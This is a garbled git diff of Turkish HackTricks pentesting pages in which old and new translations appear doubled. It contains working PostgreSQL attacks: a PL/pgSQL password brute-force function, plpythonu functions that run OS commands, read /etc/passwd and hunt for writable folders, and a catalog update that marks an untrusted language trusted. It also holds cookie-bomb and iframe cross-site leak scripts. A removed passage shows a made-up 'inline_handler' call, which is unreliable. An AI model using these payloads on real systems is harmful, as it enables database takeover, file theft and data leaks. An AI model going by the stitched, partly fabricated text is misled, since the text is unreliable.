* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
**Bu saldırılar hakkında daha fazla bilgiyi [orijinal makalede bulabilirsiniz](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.
**[Bu saldırılar hakkında daha fazla bilgi için orijinal belgeyi bulun](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.
PL/pgSQL, SQL'nin yeteneklerini aşan **tam özellikli bir programlama dili**dir ve **gelişmiş prosedürel kontrol** sunarak SQL'nin ötesine geçer. Bu, döngülerin ve çeşitli kontrol yapılarının kullanılmasını içerir. PL/pgSQL dilinde oluşturulan fonksiyonlar, SQL ifadeleri ve tetikleyiciler tarafından çağrılabilir ve veritabanı ortamında operasyonların kapsamını genişletir.
PL/pgSQL, **SQL'in yeteneklerini aşan** **tam özellikli bir programlama dilidir** ve **gelişmiş prosedürel kontrol** sunar. Bu, döngülerin ve çeşitli kontrol yapıların kullanımını içerir. PL/pgSQL dilinde oluşturulan fonksiyonlar, SQL ifadeleri ve tetikleyiciler tarafından çağrılabilir, bu da veritabanı ortamındaki işlemlerin kapsamını genişletir.
Bu dili kullanarak PostgreSQL'e kullanıcı kimlik bilgilerini kaba kuvvet saldırısı yapması için istekte bulunabilirsiniz, ancak bu kullanıcının veritabanında mevcut olması gerekmektedir. Varlığını doğrulamak için aşağıdaki komutu kullanabilirsiniz:
Bu dili, PostgreSQL'den kullanıcı kimlik bilgilerini kaba kuvvetle kırmasını istemek için kötüye kullanabilirsiniz, ancak veritabanında mevcut olmalıdır. Mevcut olup olmadığını kontrol etmek için:
```sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+---------
plpgsql |
```
Varsayılan olarak, **fonksiyon oluşturma yetkisi, her kullanıcıyı kapsayan PUBLIC adlı bir gruba verilir**. Bunun önüne geçmek için yönetici, PUBLIC alanından USAGE yetkisini iptal etmek zorunda kalabilir:
Varsayılan olarak, **fonksiyon oluşturmak, PUBLIC'a verilen bir ayrıcalıktır**, burada PUBLIC, o veritabanı sistemindeki her kullanıcıyı ifade eder. Bunu önlemek için, yönetici PUBLIC alanından USAGE ayrıcalığını geri almış olabilirdi:
```sql
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
```
Bu durumda, önceki sorgumuz farklı sonuçlar üretecektir:
Bu durumda, önceki sorgumuz farklı sonuçlar verecektir:
```sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+-----------------
plpgsql | {admin=U/admin}
```
Aşağıdaki betiğin çalışabilmesi için **`dblink` fonksiyonunun var olması gerektiğini** unutmayın. Eğer yoksa, aşağıdaki komutu kullanarak oluşturmayı deneyebilirsiniz:
Not edin ki aşağıdaki scriptin çalışması için **`dblink` fonksiyonu mevcut olmalıdır**. Eğer mevcut değilse, onu oluşturmayı deneyebilirsiniz.
```sql
CREATE EXTENSION dblink;
```
## Şifre Kaba Kuvvet Saldırısı
## Şifre Kaba Kuvvet
İşte 4 karakterli bir şifre kaba kuvvet saldırısı nasıl gerçekleştirilir:
İşte 4 karakterli bir şifre kaba kuvvet saldırısını nasıl gerçekleştirebileceğiniz:
```sql
//Create the brute-force function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
@ -79,9 +82,9 @@ $$ LANGUAGE 'plpgsql';
//Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
```
_Not: 4 karakterin bile brute-force saldırısı birkaç dakika sürebilir._
_Not edin ki, 4 karakteri brute-force yapmak bile birkaç dakika sürebilir._
Ayrıca bir **wordlist indirebilirsiniz** ve sadece bu şifreleri deneyebilirsiniz (sözlük saldırısı):
Ayrıca **bir kelime listesi indirebilir** ve yalnızca bu şifreleri deneyebilirsiniz (sözlük saldırısı):
```sql
//Create the function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
@ -116,14 +119,17 @@ $$ LANGUAGE 'plpgsql'
-- Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde çalışıyor musunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile göndererek paylaşın.**
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,27 +1,41 @@
# RCE with PostgreSQL Languages
Erişim sağladığınız PostgreSQL veritabanında, **kötü niyetli kodları çalıştırabileceğiniz farklı betik dilleri** bulunabilir.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Onları **çalıştırabilirsiniz**:
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## PostgreSQL Dilleri
Erişim sağladığınız PostgreSQL veritabanında **kötüye kullanabileceğiniz farklı **betik dilleri** yüklü olabilir** ve **rastgele kod çalıştırmak için** bunları kullanabilirsiniz.
**Onları çalıştırabilirsiniz**:
```sql
\dL *
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
```
PostgreSQL'de yükleyebileceğiniz çoğu betik dili **2 çeşide** sahiptir: **güvenilir** ve **güvensiz**. **Güvensiz** olanlar **"u" ile biten** bir isme sahip olacak ve kodu **yürütmenize** ve diğer ilginç işlevleri kullanmanıza izin verecek versiyon olacak. İlgili olan diller şunlardır:
Çoğu PostgreSQL'de kurabileceğiniz betik dilleri **2 çeşide** sahiptir: **güvenilir** ve **güvensiz**. **Güvensiz** olanların adı **"u" ile biter** ve bu, **kod çalıştırmanıza** ve diğer ilginç işlevleri kullanmanıza izin veren versiyondur. Kurulduğunda ilginç olan diller şunlardır:
* **plpythonu**
* **plpython3u**
* **plperlu**
* **pljavaU**
* **plrubyu**
* ... (diğer güvensiz versiyonları kullanan herhangi bir programlama dili)
* ... (güvensiz bir versiyon kullanan başka herhangi bir programlama dili)
{% hint style="warning" %}
Eğer PostgreSQL tarafından **yüklendiği halde** ilginç bir dilin **güvenilir** olmadığını (**`lanpltrusted`** **false** ise) tespit ederseniz, PostgreSQL tarafından herhangi bir kısıtlama uygulanmayacak şekilde **güvenilir** hale getirmek için aşağıdaki satırı deneyebilirsiniz:
Eğer ilginç bir dilin **kurulu** olduğunu ancak PostgreSQL tarafından **güvensiz** olarak işaretlendiğini (**`lanpltrusted`** **`false`** ise) bulursanız, PostgreSQL tarafından herhangi bir kısıtlama uygulanmaması için aşağıdaki satırla **güvenilir hale getirmeyi** deneyebilirsiniz:
```sql
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
@ -29,8 +43,8 @@ SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_languag
```
{% endhint %}
Eğer bir dil görmüyorsanız, onu yüklemeyi deneyebilirsiniz (**süper yönetici olmanız gerekmektedir**):
{% hint style="danger" %}
Eğer bir dili göremiyorsanız, onu yüklemeyi deneyebilirsiniz (**süperadmin olmanız gerekiyor**):
```
CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
@ -38,42 +52,14 @@ CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;
```
{% endhint %}
Dikkat edin ki, güvenli sürümleri "güvensiz" olarak derlemek mümkündür. Örneğin [**bunu**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) kontrol edin. Bu nedenle, yalnızca **güvenilir** olanı bulsanız bile kodu çalıştırıp çalıştıramayacağınızı denemeye değer.
## plpythonu/plpython3u
{% tabs %}
{% tab title="RCE" %}
PostgreSQL supports the execution of Python code through the `plpythonu` and `plpython3u` languages. These languages allow you to execute arbitrary Python code within the database.
To achieve remote code execution (RCE) using `plpythonu` or `plpython3u`, you can follow these steps:
1. Identify a vulnerable SQL injection point in the application.
2. Use the SQL injection to inject a malicious payload that will execute Python code.
3. Craft a SQL query that will trigger the execution of the injected payload.
4. Execute the SQL query to execute the injected Python code and achieve RCE.
Here is an example of injecting and executing Python code using `plpythonu`:
```sql
SELECT plpythonu.inline_handler('import os; os.system("command")');
```
Replace `"command"` with the actual command you want to execute on the server.
And here is an example using `plpython3u`:
```sql
SELECT plpython3u.inline_handler('import os; os.system("command")');
```
Again, replace `"command"` with the actual command you want to execute.
Keep in mind that the `plpythonu` and `plpython3u` languages may not be installed or enabled by default. You may need to install and enable them before being able to use them for RCE.
{% endtab %}
{% endtabs %}
{% hint style="info" %}
Remember to always use these techniques responsibly and with proper authorization. Unauthorized access to systems or networks is illegal and unethical.
{% endhint %}
```sql
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
@ -86,7 +72,9 @@ LANGUAGE 'plpythonu';
SELECT cmd("ls"); #RCE with popen or execve
```
{% endtab %}
{% tab title="OS kullanıcısını al" %}
```sql
CREATE OR REPLACE FUNCTION get_user (pkg text)
RETURNS VARCHAR(65535) stable
@ -98,7 +86,9 @@ LANGUAGE 'plpythonu';
SELECT get_user(""); #Get user, para is useless
```
{% endtab %}
{% tab title="Dizin listele" %}
```sql
CREATE OR REPLACE FUNCTION lsdir (dir text)
RETURNS VARCHAR(65535) stable
@ -112,7 +102,9 @@ LANGUAGE 'plpythonu';
SELECT lsdir("/"); #List dir
```
{% endtab %}
{% tab title="W klasörünü bul" %}
```sql
CREATE OR REPLACE FUNCTION findw (dir text)
RETURNS VARCHAR(65535) stable
@ -139,7 +131,9 @@ LANGUAGE 'plpythonu';
SELECT findw("/"); #Find Writable folders from a folder (recursively)
```
{% endtab %}
{% tab title="Dosya Bul" %}
```sql
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
RETURNS VARCHAR(65535) stable
@ -172,7 +166,9 @@ LANGUAGE 'plpythonu';
SELECT find_file("psql"); #Find a file
```
{% endtab %}
{% tab title="Çalıştırılabilirleri Bul" %}
```sql
CREATE OR REPLACE FUNCTION findx (dir text)
RETURNS VARCHAR(65535) stable
@ -204,7 +200,9 @@ LANGUAGE 'plpythonu';
SELECT findx("/"); #Find an executables in folder (recursively)
```
{% endtab %}
{% tab title="Exec'i alt dizinle bul" %}
```sql
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
RETURNS VARCHAR(65535) stable
@ -237,7 +235,9 @@ LANGUAGE 'plpythonu';
SELECT find_exe("psql"); #Find executable by susbstring
```
{% endtab %}
{% tab title="Oku" %}
```sql
CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
@ -251,7 +251,9 @@ LANGUAGE 'plpythonu';
select read('/etc/passwd'); #Read a file in b64
```
{% endtab %}
{% tab title="İzinleri Al" %}
```sql
CREATE OR REPLACE FUNCTION get_perms (path text)
RETURNS VARCHAR(65535) stable
@ -265,7 +267,9 @@ LANGUAGE 'plpythonu';
select get_perms("/etc/passwd"); # Get perms of file
```
{% endtab %}
{% tab title="İstek" %}
```sql
CREATE OR REPLACE FUNCTION req2 (url text)
RETURNS VARCHAR(65535) stable
@ -289,6 +293,8 @@ LANGUAGE 'plpythonu';
SELECT req3('https://google.com'); #Request using python3
```
{% endtab %}
{% endtabs %}
## pgSQL
@ -306,14 +312,17 @@ Aşağıdaki sayfayı kontrol edin:
[rce-with-postgresql-extensions.md](rce-with-postgresql-extensions.md)
{% endcontent-ref %}
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuz olan özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) keşfedin
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **göndererek paylaşın.**
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,18 +1,21 @@
# Çerez Bombası + Onerror XS Sızıntısı
# Cookie Bomb + Onerror XS Leak
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
<summary>Support HackTricks</summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını yapmak ister misiniz**? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Aşağıdaki **script**, kullanıcının **herhangi bir miktarda çerez eklemesine** izin veren bir işlevselliği istismar ediyor ve ardından gerçek yanıtın yanlış olanından daha büyük olacağını bildiği bir dosyayı bir betik olarak yüklüyor. Başarılı olursa, yanıt daha uzun bir sonuç URL'siyle bir yönlendirme yapılır ve bu, sunucunun **işleyemeyeceği kadar büyük olduğu için bir hata http durum kodu döndürülür**. Arama başarısız olursa, URL kısa olduğu için hiçbir şey olmaz.
Aşağıdaki **script**, kullanıcının **herhangi bir miktarda çerez eklemesine** izin veren bir işlevselliği istismar etmektedir ve ardından gerçek yanıtın yanlış olandan daha büyük olacağını bilerek bir dosyayı script olarak yüklemektedir. Eğer başarılı olursa, yanıt, sunucu tarafından işlenemeyecek kadar uzun bir URL ile yönlendirme olur, **bu nedenle bir hata http durum kodu döner**. Arama başarısız olursa, URL kısa olduğu için hiçbir şey olmayacaktır.
```html
<>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form>
<script>
@ -61,14 +64,17 @@ break;
};
</script>
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# JavaScript Execution XS Sızıntısı
# JavaScript Execution XS Leak
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını yapmak ister misiniz**? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşın,** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek.
</details>
{% endhint %}
```javascript
// Code that will try ${guess} as flag (need rest of the server code
app.get('/guessing', function(req, res) {
@ -30,7 +33,7 @@ window.parent.foo()
res.send(page)
});
```
Ana sayfa, her bir olasılığı test etmek için önceki `/guessing` sayfasına iframe'ler oluşturan bir ana sayfa oluşturur.
Ana sayfa, her olasılığı test etmek için önceki `/guessing` sayfasına iframe'ler oluşturur.
```html
<html>
<head>
@ -75,14 +78,17 @@ hack.innerHTML = iframe
</div>
</html>
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde çalışıyor musunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile göndererek paylaşın.**
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,23 +1,26 @@
# performance.now + Zorlu Görevi Zorla
# performance.now + Force heavy task
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
